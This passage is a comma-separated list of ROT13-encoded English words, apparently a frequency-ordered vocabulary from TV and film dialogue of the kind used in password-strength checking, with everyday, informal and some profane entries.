gnaqre,oehfurf,oehvfvat,oevorel,oenvafgbez,obygrq,ovatr,onyyvfgvpf,nfghgr,neebjnl,nqiraghebhf,nqbcgvir,nqqvpgf,nqqvpgvir,lnqqn,juvgryvtugref,jrzngnalr,jrrqf,jrqybpx,jnyyrgf,ihyarenovyvgl,iebbz,iragf,hccrq,hafrggyvat,haunezrq,gevccva,gevsyr,genpvat,gbezragvat,gungf,flcuvyvf,fhogrkg,fgvpxva,fcvprf,fberf,fznpxrq,fyhzzvat,fvaxf,fvtaber,fuvggvat,funzrshy,funpxrq,frcgvp,frrql,evtugrbhfarff,eryvfu,erpgvsl,enivfuvat,dhvpxrfg,cubrof,creiregrq,crrvat,crqvpher,cnfgenzv,cnffvbangryl,bmbar,bhgahzorerq,bertnab,bssraqre,ahxrf,abfrq,avtugl,avsgl,zbhagvrf,zbgvingr,zbbaf,zvfvagrecergrq,zrepranel,zragnyvgl,znefryyhf,yhchf,yhzone,ybirfvpx,ybofgref,yrnxl,ynhaqrevat,yngpu,wnsne,vafgvapgviryl,vafcverf,vaqbbef,vapneprengrq,uhaqerqgu,unaqxrepuvrs,tlarpbybtvfg,thvggvrerm,tebhaqubt,tevaavat,tbbqolrf,trrfr,shyyrfg,rlrynfurf,rlrynfu,radhvere,raqyrffyl,ryhfvir,qvfnez,qrgrfg,qryhqvat,qnatyr,pbgvyyvba,pbefntr,pbawhtny,pbasrffvbany,pbarf,pbzznaqzrag,pbqrq,pbnyf,puhpxyr,puevfgznfgvzr,purrfrohetref,puneqbaanl,pryrel,pnzcsver,pnyzvat,oheevgbf,oehaqyr,oebsybifxv,oevtugra,obeqreyvar,oyvaxrq,oyvat,ornhgvrf,onhref,onggrerq,negvphyngr,nyvrangrq,nuuuuu,ntnzrzaba,nppbhagnagf,l'frr,jebatshy,jenccre,jbexnubyvp,jvaarontb,juvfcrerq,jnegf,inpngr,hajbegul,hanafjrerq,gbanar,gbyrengrq,guebjva,gueboovat,guevyyf,gubeaf,gurerbs,gurer'ir,gnebg,fhafperra,fgergpure,fgrerbglcr,fbttl,fboovat,fvmnoyr,fvtugvatf,fuhpxf,fuencary,frire,fravyr,frnobneq,fpbearq,fnire,eroryyvbhf,envarq,chggl,cerahc,cberf,cvapuvat,cregvarag,crrcvat,cnvagf,bihyngvat,bccbfvgrf,bpphyg,ahgpenpxre,ahgpnfr,arjffgnaq,arjsbhaq,zbpxrq,zvqgrezf,znefuznyybj,zneohel,znpynera,yrnaf,xehqfxv,xabjvatyl,xrlpneq,whaxvrf,whvyyvneq,wbyvane,veevgnoyr,vainyhnoyr,vahvg,vagbkvpngvat,vafgehpg,vafbyrag,varkphfnoyr,vaphongbe,vyyhfgevbhf,uhafrpxre,ubhfrthrfg,ubzbfrkhnyf,ubzrebbz,ureavn,unezvat,unaqtha,unyyjnlf,unyyhpvangvba,thafubgf,tebhcvrf,tebttl,tbvgre,tvatreoernq,tvttyvat,sevttvat,syrqtrq,srqrk,snvevrf,rkpunatvat,rknttrengvba,rfgrrzrq,rayvfg,qentf,qvfcrafr,qvfyblny,qvfpbaarpg,qrfxf,qragvfgf,qrynpebvk,qrtrarengr,qnlqernzvat,phfuvbaf,phqqyl,pbeebobengr,pbzcyrkvba,pbzcrafngrq,pbooyre,pybfrarff,puvyyrq,purpxzngr,punaavat,pnebhfry,pnyzf,olynjf,orarsnpgbe,onyytnzr,onvgvat,onpxfgnoovat,negvsnpg,nvefcnpr,nqirefnel,npgva,npphfrf,nppryrenag,nohaqnagyl,nofgvarapr,mvffbh,mnaqg,lnccvat,jvgpul,jvyybjf,junqnln,ivynaqen,irvyrq,haqerff,haqvivqrq,haqrerfgvzngvat,hygvznghzf,gjvey,gehpxybnq,gerzoyr,gbnfgvat,gvatyvat,gragf,grzcrerq,fhyxvat,fghax,fcbatrf,fcvyyf,fbsgyl,favcref,fpbhetr,ebbsgbc,evnan,eribygvat,erivfvg,erserfuzragf,erqrpbengvat,erpncgher,enlfl,cergrafr,cerwhqvprq,cerpbtf,cbhgvat,cbbsf,cvzcyr,cvyrf,crqvngevpvna,cnqer,cnpxrgf,cnprf,beiryyr,boyvivbhf,bowrpgvivgl,avtuggvzr,areibfn,zrkvpnaf,zrhevpr,zrygf,zngpuznxre,znrol,yhtbfv,yvcavx,yrcerpunha,xvffl,xnsxn,vagebqhpgvbaf,vagrfgvarf,vafcvengvbany,vafvtugshy,vafrcnenoyr,vawrpgvbaf,vanqiregragyl,uhffl,uhpxnorrf,uvggva,urzbeeuntvat,urnqva,unlfgnpx,unyybjrq,tehqtrf,tenavyvgu,tenaqxvqf,tenqvat,tenprshyyl,tbqfraq,tbooyrf,sentenapr,syvref,svapuyrl,snegf,rlrjvgarffrf,rkcraqnoyr,rkvfgragvny,qbezf,qrynlvat,qrtenqvat,qrqhpgvba,qneyvatf,qnarf,plybaf,pbhafryybe,pbagenver,pbafpvbhfyl,pbawhevat,pbatenghyngvat,pbxrf,ohssnl,oebbpu,ovgpuvat,ovfgeb,ovwbh,orjvgpurq,oraribyrag,oraqf,ornevatf,oneera,ncgvghqr,nzvfu,nznmrf,nobzvangvba,jbeyqyl,juvfcref,junqqn,jnljneq,jnvyvat,inavfuvat,hcfpnyr,hagbhpunoyr,hafcbxra,hapbagebyynoyr,hanibvqnoyr,hanggraqrq,gevgr,genafirfgvgr,gbhcrr,gvzvq,gvzref,greebevmvat,fjnan,fghzcrq,fgebyyvat,fgbelobbx,fgbezvat,fgbznpuf,fgbxrq,fgngvbarel,fcevatgvzr,fcbagnarvgl,fcvgf,fcvaf,fbncf,fragvzragf,fpenzoyr,fpbar,ebbsgbcf,ergenpg,ersyrkrf,enjqba,enttrq,dhvexl,dhnagvpb,cflpubybtvpnyyl,cebqvtny,cbhapr,cbggl,cyrnfnagevrf,cvagf,crggvat,creprvir,bafgntr,abgjvgufgnaqvat,avooyr,arjznaf,arhgenyvmr,zhgvyngrq,zvyyvbanverf,znlsybjre,znfdhrenqr,znatl,znperrql,yhangvpf,ybinoyr,ybpngvat,yvzcvat,ynfntan,xjnat,xrrcref,whivr,wnqrq,vebavat,vaghvgvir,vagrafryl,vafher,vapnagngvba,ulfgrevn,ulcabgvmr,uhzcvat,unccrava,tevrg,tenfcvat,tybevsvrq,tnatvat,t'avtug,sbpxre,syhaxvat,syvzfl,synhagvat,svkngrq,svgmjnyynpr,snvagvat,rlroebj,rkbarengrq,rgure,ryrpgevpvna,rtbgvfgvpny,rneguyl,qhfgrq,qvtavsl,qrgbangvba,qroevrs,qnmmyvat,qna'y,qnzarqrfg,qnvfvrf,pehfurf,pehpvsl,pbagenonaq,pbasebagvat,pbyyncfvat,pbpxrq,pyvpxf,pyvpur,pvepyrq,punaqryvre,pneohergbe,pnyyref,oebnqf,oerngurf,oybbqfurq,oyvaqfvqrq,oynoovat,ovnylfgbpx,onfuvat,onyyrevan,nivin,negrevrf,nabznyl,nvefgevc,ntbavmvat,nqwbhea,nnnnn,lrneavat,jerpxre,jvgarffvat,jurapr,jneurnq,hafher,haurneq,haserrmr,hasbyq,haonynaprq,htyvrfg,gebhoyrznxre,gbqqyre,gvcgbr,guerrfbzr,guvegvrf,gurezbfgng,fjvcr,fhetvpnyyl,fhogyrgl,fghat,fghzoyvat,fghof,fgevqr,fgenatyvat,fcenlrq,fbpxrg,fzhttyrq,fubjrevat,fuuuuu,fnobgntvat,ehzfba,ebhaqvat,evfbggb,ercnvezna,erurnefrq,enggl,enttvat,enqvbybtl,enpdhrgonyy,enpxvat,dhvrgre,dhvpxfnaq,cebjy,cebzcg,cerzrqvgngrq,cerzngheryl,cenapvat,cbephcvar,cyngrq,cvabppuvb,crrxrq,crqqyr,cnagvat,birejrvtug,bireeha,bhgvat,bhgtebja,bofrff,ahefrq,abqqvat,artngvivgl,artngvirf,zhfxrgrref,zhttre,zbgbepnqr,zreevyl,zngherq,znfdhrenqvat,zneiryybhf,znavnpf,ybirl,ybhfr,yvatre,yvyvrf,ynjshy,xhqbf,xahpxyr,whvprf,whqtzragf,vgpurf,vagbyrenoyr,vagrezvffvba,varcg,vapneprengvba,vzcyvpngvba,vzntvangvir,uhpxyroreel,ubyfgre,urnegohea,thaan,tebbzrq,tenpvbhfyl,shysvyyzrag,shtvgvirf,sbefnxvat,sbetvirf,sberfrrnoyr,synibef,synerf,svkngvba,svpxyr,snagnfvmr,snzvfurq,snqrf,rkcvengvba,rkpynzngvba,renfvat,rvssry,rrevr,rneshy,qhcrq,qhyyrf,qvffvat,qvffrpg,qvfcrafre,qvyngrq,qrgretrag,qrfqrzban,qroevrsvat,qnzcre,phevat,pevfcvan,penpxcbg,pbhegvat,pbeqvny,pbasyvpgrq,pbzcerurafvba,pbzzvr,pyrnahc,puvebcenpgbe,punezre,punevbg,pnhyqeba,pngngbavp,ohyyvrq,ohpxrgf,oevyyvnagyl,oerngurq,obbguf,obneqebbz,oybjbhg,oyvaqarff,oynmvat,ovbybtvpnyyl,ovoyrf,ovnfrq,orfrrpu,oneonevp,onyenw,nhqnpvgl,nagvpvcngvat,nypbubyvpf,nveurnq,ntraqnf,nqzvggrqyl,nofbyhgvba,lbher,lvccrr,jvggyrfrl,jvguuryq,jvyyshy,junzzl,jrnxrfg,jnfurf,iveghbhf,ivqrbgncrf,ivnyf,hacyhttrq,hacnpxrq,hasnveyl,gheohyrapr,ghzoyvat,gevpxvat,gerzraqbhfyl,genvgbef,gbepurf,gvatn,gulebvq,grnfrq,gnjqel,gnxre,flzcnguvrf,fjvcrq,fhaqnrf,fhnir,fgehg,fgrcqnq,fcrjvat,fcnfz,fbpvnyvmr,fyvgure,fvzhyngbe,fuhggref,fuerjq,fubpxf,frznagvpf,fpuvmbcueravp,fpnaf,fnintrf,eln'p,ehaal,ehpxhf,eblnyyl,ebnqoybpxf,erjevgvat,eribxr,ercrag,erqrpbengr,erpbiref,erpbhefr,engpurq,enznyv,enpdhrg,dhvapr,dhvpur,chccrgrre,chxvat,chssrq,ceboyrzb,cenvfrf,cbhpu,cbfgpneqf,cbbcrq,cbvfrq,cvyrq,cubarl,cubovn,cngpuvat,cneragubbq,cneqare,bbmvat,buuuuu,ahzovat,abfgevy,abfrl,arngyl,anccn,anzryrff,zbeghnel,zbebavp,zbqrfgl,zvqjvsr,zppynar,znghxn,znvger,yhzcf,yhpvq,ybbfrarq,ybvaf,ynjazbjre,ynzbggn,xebruare,wvakl,wrffrc,wnzzvat,wnvyubhfr,wnpxvat,vagehqref,vauhzna,vasnghngrq,vaqvtrfgvba,vzcyber,vzcynagrq,ubezbany,ubobxra,uvyyovyyl,urnegjnezvat,urnqjnl,ungpurq,unegznaf,unecvat,tencrivar,tabzr,sbegvrf,sylva,syvegrq,svatreanvy,rkuvynengvat,rawblzrag,rzonex,qhzcre,qhovbhf,qeryy,qbpxvat,qvfvyyhfvbarq,qvfubabe,qvfoneerq,qvprl,phfgbqvny,pbhagrecebqhpgvir,pbearq,pbeqf,pbagrzcyngr,pbaphe,pbaprvinoyr,pbooyrcbg,puvpxrarq,purpxbhg,pnecr,pnc'a,pnzcref,ohlva,ohyyvrf,oenvq,obkrq,obhapl,oyhroreevrf,oyhoorevat,oybbqfgernz,ovtnzl,orrcrq,ornenoyr,nhgbtencuf,nynezvat,jergpu,jvzcf,jvqbjre,juveyjvaq,juvey,jnezf,inaqrynl,hairvyvat,haqbvat,haorpbzvat,gheanebhaq,gbhpur,gbtrgurearff,gvpxyrf,gvpxre,grrafl,gnhag,fjrrgurnegf,fgvgpurq,fgnaqcbvag,fgnssref,fcbgyrff,fbbgur,fzbgurerq,fvpxravat,fubhgrq,furcureqf,funjy,frevbhfarff,fpubbyrq,fpubbyobl,f'zberf,ebcrq,erzvaqref,enttrql,cerrzcgvir,cyhpxrq,curebzbarf,cnegvphynef,cneqbarq,birecevprq,bireornevat,bhgeha,buzvtbq,abfvat,avpxrq,arnaqreguny,zbfdhvgbrf,zbegvsvrq,zvyxl,zrffva,zrpun,znexvafba,zneviryynf,znaardhva,znaqreyrl,znqqre,znpernql,ybbxvr,ybphfgf,yvsrgvzrf,ynaan,ynxuv,xubyv,vzcrefbangr,ulcreqevir,ubeevq,ubcva,ubttvat,urnefnl,unecl,uneobevat,unveqb,unsgn,tenffubccre,tbooyr,tngrubhfr,sbbfonyy,sybbml,svfurq,sverjbbq,svanyvmr,srybaf,rhcurzvfz,ragbhentr,ryvgvfg,ryrtnapr,qebxxra,qevre,qerqtr,qbffvre,qvfrnfrq,qvneeurn,qvntabfr,qrfcvfrq,qrshfr,q'nzbhe,pbagrfgvat,pbafreir,pbafpvragvbhf,pbawherq,pbyynef,pybtf,puravyyr,punggl,punzbzvyr,pnfvat,pnyphyngbe,oevggyr,oernpurq,oyhegrq,oveguvat,ovxvavf,nfgbhaqvat,nffnhygvat,nebzn,nccyvnapr,nagfl,nzavb,nyvrangvat,nyvnfrf,nqbyrfprapr,krebk,jebatf,jbexybnq,jvyyban,juvfgyvat,jrerjbyirf,jnyynol,hajrypbzr,hafrrzyl,hacyht,haqrezvavat,htyvarff,glenaal,ghrfqnlf,gehzcrgf,genafsrerapr,gvpxf,gnatvoyr,gnttvat,fjnyybjvat,fhcreurebrf,fghqf,fgerc,fgbjrq,fgbzcvat,fgrssl,fcenva,fcbhgvat,fcbafbevat,farrmvat,fzrnerq,fyvax,funxva,frjrq,frngoryg,fpnevrfg,fpnzzrq,fnapgvzbavbhf,ebnfgvat,evtugyl,ergvany,erguvaxvat,erfragrq,erehaf,erzbire,enpxf,cherfg,cebterffvat,cerfvqragr,cerrpynzcfvn,cbfgcbarzrag,cbegnyf,cbccn,cyvref,cvaavat,cryivp,cnzcrerq,cnqqvat,birewblrq,bbbbb,bar'yy,bpgnivhf,ababab,avpxanzrf,arhebfhetrba,aneebjf,zvfyrq,zvfyrnq,zvfunc,zvyygbja,zvyxvat,zrgvphybhf,zrqvbpevgl,zrngonyyf,znpurgr,yhepu,ynlva,xabpxva,xuehfpuri,whebef,whzcva,whthyne,wrjryre,vagryyrpghnyyl,vadhvevrf,vaqhytvat,vaqrfgehpgvoyr,vaqrogrq,vzvgngr,vtaberf,ulcreiragvyngvat,ulranf,uheelvat,ureznab,uryyvfu,ururu,unefuyl,unaqbhg,teharznaa,tynaprf,tvirnjnl,trghc,trebzr,shegurfg,sebfgvat,senvy,sbejneqrq,sbeprshy,syniberq,synzznoyr,synxl,svatrerq,sngureyl,rguvp,rzormmyrzrag,qhssry,qbggrq,qvfgerffrq,qvfborl,qvfnccrnenaprf,qvaxl,qvzvavfu,qvncuentz,qrhprf,perzr,pbhegrbhf,pbzsbegf,pbreprq,pybgf,pynevsvpngvba,puhaxf,puvpxvr,punfrf,puncrebavat,pnegbaf,pncre,pnyirf,pntrq,ohfgva,ohytvat,oevatva,obbzunhre,oybjva,oyvaqsbyqrq,ovfpbggv,onyycynlre,onttvat,nhfgre,nffhenaprf,nfpura,neenvtarq,nabalzvgl,nygref,nyongebff,nterrnoyr,nqbevat,noqhpg,jbysv,jrveqrq,jngpuref,jnfuebbz,jneurnqf,ivapraarf,hetrapl,haqrefgnaqnoyl,hapbzcyvpngrq,huuuu,gjvgpuvat,gernqzvyy,gurezbf,grabezna,gnatyr,gnyxngvir,fjnez,fheeraqrevat,fhzzbavat,fgevir,fgvygf,fgvpxref,fdhnfurq,fcenlvat,fcneevat,fbnevat,fabeg,farrmrq,fyncf,fxnaxl,fvatva,fvqyr,fuerpx,fubegarff,fubegunaq,funecre,funzrq,fnqvfg,elqryy,ehfvx,ebhyrggr,erfhzrf,erfcvengvba,erpbhag,ernpgf,chetngbel,cevaprffrf,cerfragnoyr,cbalgnvy,cybggrq,cvabg,cvtgnvyf,cuvyyvccr,crqqyvat,cnebyrq,beorq,bssraqf,b'unen,zbbayvg,zvarsvryq,zrgncubef,znyvtanag,znvasenzr,zntvpxf,znttbgf,znpynvar,ybnguvat,yrcre,yrncf,yrncvat,ynfurq,ynepu,ynepral,yncfrf,ynqlfuvc,whapgher,wvssl,wnxbi,vaibxr,vasnagvyr,vanqzvffvoyr,ubebfpbcr,uvagvat,uvqrnjnl,urfvgngvat,urqql,urpxyrf,unveyvar,tevcr,tengvslvat,tbirearff,tbrooryf,serqqb,sberfrr,snfpvangvba,rkrzcynel,rkrphgvbare,rgprgren,rfpbegf,raqrnevat,rngref,rnecyhtf,qencrq,qvfehcgvat,qvfnterrf,qvzrf,qrinfgngr,qrgnva,qrcbfvgvbaf,qryvpnpl,qnexyvtugre,plavpvfz,plnavqr,phggref,pebahf,pbagvahnapr,pbadhrevat,pbasvqvat,pbzcnegzragf,pbzovat,pbsryy,pyvatl,pyrnafr,puevfgznfrf,purrerq,purrxobarf,ohggyr,oheqrarq,oehraryy,oebbzfgvpx,oenvarq,obmbf,obagrpbh,oyhagzna,oynmrf,oynzryrff,ovmneeb,oryyobl,ornhpbhc,onexrrc,njnxra,nfgenl,nffnvynag,nccrnfr,ncuebqvfvnp,nyyrlf,lrfff,jerpxf,jbbqcrpxre,jbaqebhf,jvzcl,jvyycbjre,jurryvat,jrrcl,jnkvat,jnvir,ivqrbgncrq,irevgnoyr,hagbhpurq,hayvfgrq,hasbhaqrq,hasberfrra,gjvatr,gevttref,genvcfvat,gbkva,gbzofgbar,guhzcvat,gurerva,grfgvpyrf,gryrcubarf,gneznp,gnyol,gnpxyrq,fjveyvat,fhvpvqrf,fhpxrerq,fhogvgyrf,fgheql,fgenatyre,fgbpxoebxre,fgvgpuvat,fgrrerq,fgnaqhc,fdhrny,fcevaxyre,fcbagnarbhfyl,fcyraqbe,fcvxvat,fcraqre,favcr,fanttrq,fxvzzvat,fvqqbja,fubjebbz,fubiryf,fubgthaf,fubrynprf,fuvgybnq,furyysvfu,funecrfg,funqbjl,frvmvat,fpebhatr,fpncrtbng,fnlbanen,fnqqyrq,ehzzntvat,ebbzshy,erabhapr,erpbafvqrerq,erpunetr,ernyvfgvpnyyl,enqvbrq,dhvexf,dhnqenag,chapghny,cenpgvfvat,cbhef,cbbyubhfr,cbygretrvfg,cbpxrgobbx,cynvayl,cvpavpf,crfgb,cnjvat,cnffntrjnl,cnegvrq,barfrys,ahzreb,abfgnytvn,avgjvg,arheb,zvkre,zrnarfg,zporny,zngvarr,znetngr,znepr,znavchyngvbaf,znauhag,znatre,zntvpvnaf,ybnsref,yvginpx,yvtugurnqrq,yvsrthneq,ynjaf,ynhtuvatfgbpx,vatrfgrq,vaqvtangvba,vapbaprvinoyr,vzcbfvgvba,vzcrefbany,vzorpvyr,uhqqyrq,ubhfrjnezvat,ubevmbaf,ubzvpvqrf,uvpphcf,urnefr,uneqrarq,thfuvat,thfuvr,ternfrq,tbqqnzvg,serrynapre,sbetvat,sbaqhr,syhfgrerq,syhat,syvapu,syvpxre,svkva,srfgvihf,sregvyvmre,snegrq,snttbgf,rkbarengr,rivpg,rabezbhfyl,rapelcgrq,rzqnfu,rzoenpvat,qherff,qhcerf,qbjfre,qbbezng,qvfsvtherq,qvfpvcyvarq,qvoof,qrcbfvgbel,qrnguorq,qnmmyrq,phggva,pherf,pebjqvat,percr,penzzrq,pbclpng,pbagenqvpg,pbasvqnag,pbaqrzavat,pbaprvgrq,pbzzhgr,pbzngbfr,pynccvat,pvephzsrerapr,puhccnu,puber,pubxfbaqvx,purfgahgf,oevnhyg,obggbzyrff,obaarg,oybxrf,oreyhgv,orerg,orttnef,onaxebyy,onavn,ngubf,nefravp,nccrenagyl,nuuuuuu,nsybng,nppragf,mvccrq,mrebf,mrebrf,mnzve,lhccvr,lbhatfgref,lbexref,jvfrfg,jvcrf,jvryq,jula'g,jrveqbf,jrqarfqnlf,ivpxfohet,hcpuhpx,hagenprnoyr,hafhcreivfrq,hacyrnfnagarff,haubbx,hapbafpvbanoyr,hapnyyrq,genccvatf,gentrqvrf,gbjavr,guhetbbq,guvatf'yy,guvar,grgnahf,greebevmr,grzcgngvbaf,gnaavat,gnzcbaf,fjnezvat,fgenvgwnpxrg,fgrebvq,fgnegyvat,fgneel,fdhnaqre,fcrphyngvat,fbyybmmb,farnxrq,fyhtf,fxrqnqqyr,fvaxre,fvyxl,fubegpbzvatf,fryyva,frnfbarq,fpehoorq,fperjhc,fpencrf,fpneirf,fnaqobk,fnyrfzra,ebbzvat,ebznaprf,erirer,ercebnpu,ercevrir,erneenatvat,enivar,engvbanyvmr,enssyr,chapul,cflpubonooyr,cebibpngvba,cebsbhaqyl,cerfpevcgvbaf,cersrenoyr,cbyvfuvat,cbnpurq,cyrqtrf,cveryyv,creiregf,birefvmrq,bireqerffrq,bhgqvq,ahcgvnyf,arsnevbhf,zbhgucvrpr,zbgryf,zbccvat,zbatery,zvffva,zrgncubevpnyyl,zregva,zrzbf,zrybqenzn,zrynapubyl,zrnfyrf,zrnare,znagry,znarhirevat,znvyebbz,yhevat,yvfgrava,yvsryrff,yvpxf,yriba,yrtjbex,xarrpncf,xvcche,xvqqvr,xnchg,whfgvsvnoyr,vafvfgrag,vafvqvbhf,vaahraqb,vaavg,vaqrprag,vzntvanoyr,ubefrfuvg,urzbeeubvq,uryyn,urnyguvrfg,unljver,unzfgref,unveoehfu,tebhpul,tevfyl,tenghvgbhf,tyhggba,tyvzzre,tvoorevfu,tunfgyl,tragyre,trarebhfyl,trrxl,shuere,sebagvat,sbbyva,snkrf,snpryrff,rkgvathvfure,rkcry,rgpurq,raqnatrevat,qhpxrq,qbqtronyy,qvirf,qvfybpngrq,qvfpercnapl,qribhe,qrenvy,qrzragvn,qnlpner,plavp,pehzoyvat,pbjneqvpr,pbirg,pbeajnyyvf,pbexfperj,pbbxobbx,pbzznaqzragf,pbvapvqragny,pbojrof,pybhqrq,pybttvat,pyvpxvat,pynfc,pubcfgvpxf,pursf,puncf,pnfuvat,pneng,pnyzre,oenmra,oenvajnfuvat,oenqlf,objvat,obarq,oybbqfhpxvat,oyrnpuref,oyrnpurq,orqcna,orneqrq,oneeratre,onpurybef,njjjj,nffherf,nffvtavat,nfcnenthf,ncceruraq,narpqbgr,nzbeny,ntteningvba,nsbbg,npdhnvagnaprf,nppbzzbqngvat,lnxxvat,jbefuvccvat,jynqrx,jvyyln,jvyyvrf,jvttrq,jubbfu,juvfxrq,jngrerq,jnecngu,ibygf,ivbyngrf,inyhnoyrf,hcuvyy,hajvfr,hagvzryl,hafnibel,haerfcbafvir,hachavfurq,harkcynvarq,ghool,gebyyvat,gbkvpbybtl,gbezragrq,gbbgunpur,gvatyl,gvzzvvuu,guhefqnlf,gubernh,greevsvrf,grzcrenzragny,gryrtenzf,gnyxvr,gnxref,flzovbgr,fjvey,fhssbpngr,fghcvqre,fgenccvat,fgrpxyre,fcevatvat,fbzrjnl,fyrrclurnq,fyrqtrunzzre,fynag,fynzf,fubjtvey,fubiryvat,fuzbbcl,funexonvg,funa'g,fpenzoyvat,fpurzngvpf,fnaqrzna,fnoongvpny,ehzzl,erlxwnivx,erireg,erfcbafvir,erfpurqhyrq,erdhvfvgvba,eryvadhvfu,erwbvpr,erpxbavat,erpnag,eronqbj,ernffhenapr,enggyrfanxr,enzoyr,cevzrq,cevprl,cenapr,cbgubyr,cbphf,crefvfg,crecrgengrq,crxne,crryvat,cnfgvzr,cnezrfna,cnprznxre,bireqevir,bzvabhf,bofreinag,abguvatf,abbbbbb,abarkvfgrag,abqqrq,avrprf,artyrpgvat,anhfrngvat,zhgngrq,zhfxrg,zhzoyvat,zbjvat,zbhgushy,zbbfrcbeg,zbabybthr,zvfgehfg,zrrgva,znffrhfr,znagvav,znvyre,znqer,ybjyvsrf,ybpxfzvgu,yvivq,yvira,yvzbf,yvorengvat,yunfn,yravrapl,yrrevat,ynhtunoyr,ynfurf,ynfntar,ynprengvba,xbeora,xngna,xnyra,wvggrel,wnzzvrf,veercynprnoyr,vaghongr,vagbyrenag,vaunyre,vaunyrq,vaqvssrerag,vaqvssrerapr,vzcbhaq,vzcbyvgr,uhzoyl,urebvpf,urvtu,thvyybgvar,thrfgubhfr,tebhaqvat,tevcf,tbffvcvat,tbngrr,tabzrf,tryyne,sehgg,sebovfure,serhqvna,sbbyvfuarff,synttrq,srzzr,sngfb,sngureubbq,snagnfvmrq,snverfg,snvagrfg,rlryvqf,rkgenintnag,rkgengreerfgevny,rkgenbeqvanevyl,rfpnyngbe,ryringr,qeviry,qvffrq,qvfzny,qvfneenl,qvaaregvzr,qrinfgngvba,qrezngbybtvfg,qryvpngryl,qrsebfg,qrohgnagr,qronpyr,qnzbar,qnvagl,phirr,phycn,pehpvsvrq,perrcrq,penlbaf,pbhegfuvc,pbairar,pbaterffjbzna,pbapbpgrq,pbzcebzvfrf,pbzceraqr,pbzzn,pbyrfynj,pybgurq,pyvavpnyyl,puvpxrafuvg,purpxva,prffcbby,pnfxrgf,pnymbar,oebgury,obbzrenat,obqrtn,oynfcurzl,ovgfl,ovpragraavny,oreyvav,orngva,orneqf,oneonf,oneonevnaf,onpxcnpxvat,neeulguzvn,nebhfvat,neovgengbe,nagntbavmr,natyvat,narfgurgvp,nygrepngvba,ntterffbe,nqirefvgl,npnguyn,nnnuuu,jernxvat,jbexhc,jbaqreva,jvgure,jvryqvat,jung'z,jung'pun,jnkrq,ivoengvat,irgrevanevna,iragvat,infrl,inybe,inyvqngr,hcubyfgrel,hagvrq,hafpngurq,havagreehcgrq,hasbetvivat,haqvrf,haphg,gjvaxvrf,ghpxvat,gerngnoyr,gernfherq,genadhvyvgl,gbjafcrbcyr,gbefb,gbzrv,gvcfl,gvafry,gvqvatf,guvegvrgu,gnagehzf,gnzcre,gnyxl,fjnlrq,fjnccvat,fhvgbe,fglyvfg,fgvef,fgnaqbss,fcevaxyref,fcnexyl,fabool,fangpure,fzbbgure,fyrrcva,fueht,fubrobk,furrfu,funpxyrf,frgonpxf,frqngvirf,fperrpuvat,fpbepurq,fpnaarq,fngle,ebnqoybpx,evireonax,evqvphyrq,erfragshy,ercryyrag,erperngr,erpbairar,erohggny,ernyzrqvn,dhvmmrf,dhrfgvbaanver,chapgherq,chpxre,cebybat,cebsrffvbanyvfz,cyrnfnagyl,cvtfgl,craavyrff,cnlpurpxf,cngvragyl,cnenqvat,birenpgvir,binevrf,beqreyvrf,benpyrf,bvyrq,bssraqvat,ahqvr,arbangny,arvtuobeyl,zbbcf,zbbayvtugvat,zbovyvmr,zzzzzz,zvyxfunxr,zravny,zrngf,znlna,znkrq,znatyrq,znthn,yhanpl,yhpxvre,yvgref,ynafohel,xbbxl,xabjva,wrbcneqvmrq,vaxyvat,vaunyngvba,vasyngrq,vasrpgvat,vaprafr,vaobhaq,vzcenpgvpny,vzcrargenoyr,vqrnyvfgvp,v'zzn,ulcbpevgrf,uhegva,uhzoyrq,ubybtenz,ubxrl,ubphf,uvgpuuvxvat,urzbeeubvqf,urnquhagre,unffyrq,unegf,uneqjbexvat,unvephgf,unpxfnj,travgnyf,tnmvyyvba,tnzzl,tnzrfcurer,shthr,sbbgjrne,sbyyl,synfuyvtugf,svirf,svyrg,rkgrahngvat,rfgebtra,ragnvyf,rzormmyrq,rybdhrag,rtbznavnp,qhpgf,qebjfl,qebarf,qberr,qbabiba,qvfthvfrf,qvttva,qrfregvat,qrcevivat,qrslvat,qrqhpgvoyr,qrpbehz,qrpxrq,qnlyvtugf,qnloernx,qnfuobneq,qnzangvba,phqqyvat,pehapuvat,pevpxrgf,penmvrf,pbhapvyzna,pbhturq,pbahaqehz,pbzcyvzragrq,pbunntra,pyhgpuvat,pyhrq,pynqre,purdhrf,purpxcbvag,pungf,punaaryvat,prnfrf,pnenfpb,pncvfpr,pnagnybhcr,pnapryyvat,pnzcfvgr,ohetynef,oernxsnfgf,oen'gnp,oyhrcevag,oyrrqva,oynoorq,orarsvpvnel,onfvat,nireg,ngbar,neyla,nccebirf,ncbgurpnel,nagvfrcgvp,nyrvxhhz,nqivfrzrag,mnqve,jbooyl,jvguanvy,junggnln,junpxvat,jrqtrq,jnaqref,intvany,havzntvanoyr,haqravnoyr,hapbaqvgvbanyyl,hapunegrq,haoevqyrq,gjrrmref,gizrtnfvgr,gehzcrq,gevhzcunag,gevzzvat,gernqvat,genadhvyvmref,gbbagbja,guhax,fhgher,fhccerffvat,fgenlf,fgbarjnyy,fgbtvr,fgrcqnhtugre,fgnpr,fdhvag,fcbhfrf,fcynfurq,fcrnxva,fbhaqre,fbeevre,fbeery,fbzoereb,fbyrzayl,fbsgrarq,fabof,favccl,faner,fzbbguvat,fyhzc,fyvzronyy,fynivat,fvyragyl,fuvyyre,funxrqbja,frafngvbaf,fpelvat,fpehzcgvbhf,fpernzva,fnhpl,fnagbfrf,ebhaqhc,ebhturq,ebfnel,eborpunhk,ergebfcrpg,erfpvaq,ercerurafvoyr,ercry,erzbqryvat,erpbafvqrevat,erpvcebpngr,envyebnqrq,cflpuvpf,cebzbf,cebo'yl,cevfgvar,cevagbhg,cevrfgrff,cerahcgvny,cerprqrf,cbhgl,cubavat,crccl,cnevnu,cnepurq,cnarf,bireybnqrq,bireqbvat,alzcuf,abgure,abgrobbxf,arnevat,arnere,zbafgebfvgl,zvynql,zvrxr,zrcurfgb,zrqvpngrq,znefunyf,znavybj,znzzbtenz,z'ynql,ybgfn,ybbcl,yrfvba,yravrag,yrneare,ynfmyb,xebff,xvaxf,wvakrq,vaibyhagnel,vafhobeqvangvba,vatengr,vasyngnoyr,vapneangr,vanar,ulcbtylprzvn,uhagva,uhzbatbhf,ubbqyhz,ubaxvat,urzbeeuntr,urycva,ungube,ungpuvat,tebggb,tenaqznzn,tbevyynf,tbqyrff,tveyvfu,tubhyf,trefujva,sebfgrq,syhggre,syntcbyr,srgpuvat,snggre,snvgushyyl,rkreg,rinfvba,rfpnyngr,ragvpvat,rapunagerff,rybcrzrag,qevyyf,qbjagvzr,qbjaybnqvat,qbexf,qbbejnlf,qv